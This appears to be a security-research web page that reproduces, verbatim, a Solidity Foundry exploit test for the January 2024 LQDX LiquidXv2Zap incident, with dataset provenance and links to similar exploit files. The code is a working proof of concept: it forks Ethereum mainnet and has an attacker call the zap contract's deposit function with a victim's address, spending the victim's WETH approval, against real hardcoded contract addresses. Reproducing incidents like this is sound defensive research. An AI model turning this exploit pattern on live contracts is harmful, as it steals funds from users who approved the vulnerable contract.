Public reproduction file
src/test/2024-01/LQDX_alert_exp.sol
Public reproduction file for dataset entry LQDX.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// @Info7// LQDX LiquidXv2Zap Contract : https://etherscan.io/address/0x364f17a23ae4350319b7491224d10df5796190bc#codeL4909// @NewsTrack10// SlowMist : https://twitter.com/SlowMist_Team/status/174497201286567145212// Note: the problem lies in the `deposit` function where there is no check that the `account` should be `msg.sender`, thus `account`'s approval on the `zap` can be spent to buy tokens and add liquidity.14interface ILiquidXv2Zap {15 struct swapRouter {16 string platform;17 address tokenIn;18 address tokenOut;19 uint256 amountOutMin;20 uint256 meta; // fee, flag(stable), 0=v221 uint256 percent;22 }24 struct swapLine {25 swapRouter[] swaps;26 }28 struct swapBlock {29 swapLine[] lines;30 }32 struct swapPath {33 swapBlock[] path;34 }36 function deposit(37 address account,38 address token,39 address tokenM,40 swapPath calldata path,41 address token0,42 address token1,43 uint256[3] calldata amount,44 uint256 basketId45 ) external payable returns (uint256);46}48interface IERC20 {49 function balanceOf(50 address account51 ) external view returns (uint256);52 function allowance(address owner, address spender) external view returns (uint256);53 function approve(address spender, uint256 value) external returns (bool);54}56interface ILiquidXv2Pair {57 function token0() external view returns (address);58 function token1() external view returns (address);59 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);60}62contract Exploit is Test {63 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);64 IERC20 LQDX = IERC20(0x872952d3c1Caf944852c5ADDa65633F1Ef218A26);65 ILiquidXv2Zap zap = ILiquidXv2Zap(0x364f17A23AE4350319b7491224d10dF5796190bC);66 ILiquidXv2Pair WETH_LQDX_pair = ILiquidXv2Pair(0x1884C3D0ac1A3ACF0698b2a19866cee4cE27c31A);68 address victim = address(0x1);69 address attacker = address(0xbad);71 function setUp() public {72 vm.createSelectFork("mainnet", 19_165_893);73 vm.deal(victim, 1 ether);74 vm.deal(attacker, 1 ether);75 deal(address(WETH), victim, 10 ether); // the approved funds to be stolen76 emit log_named_uint("victim WETH balance (ether) before attack", (WETH.balanceOf(victim)) / 1 ether);77 vm.prank(victim);78 WETH.approve(address(zap), 10 ether);79 emit log_named_uint("victim approved on zap contract (ether)", (WETH.allowance(victim, address(zap))) / 1 ether);80 }82 function testExploit() public {83 vm.startPrank(attacker);84 (uint112 lqdx_before, uint112 weth_before,) = WETH_LQDX_pair.getReserves();85 emit log_named_uint("before attack, LQDX in the pool", lqdx_before / 1 ether);86 emit log_named_uint("before attack, WETH in the pool", weth_before / 1 ether);88 // attack starts here89 ILiquidXv2Zap.swapBlock[] memory path;90 uint256[3] memory amounts = [WETH.allowance(victim, address(zap)), 0, 0];91 zap.deposit(92 victim,93 address(WETH),94 address(WETH),95 ILiquidXv2Zap.swapPath({path: path}),96 address(WETH),97 address(LQDX),98 amounts,99 0100 );102 (uint112 lqdx_after, uint112 weth_after,) = WETH_LQDX_pair.getReserves();103 emit log_named_uint("after attack, LQDX in the pool", lqdx_after / 1 ether);104 emit log_named_uint("after attack, WETH in the pool", weth_after / 1 ether);105 emit log_named_uint("victim WETH balance (ether) after attack", (WETH.balanceOf(victim)) / 1 ether);106 }107}Analysis
Dataset entry
Public Foundry test for “LQDX” (2024-01-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
- src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
- src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
- src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
- src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
- src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
- src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
- src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
- src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
- src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
- src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
- src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
- src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
- src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
- src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
- src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- LQDX
- Path
- src/test/2024-01/LQDX_alert_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b9724276b4a2d309754a1211e0dda1e694949abe
- Language
- Solidity
- Size
- 108 lines
- Date
- 2024-01-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-01/LQDX_alert_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b9724276b4a2d309754a1211e0dda1e694949abe, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.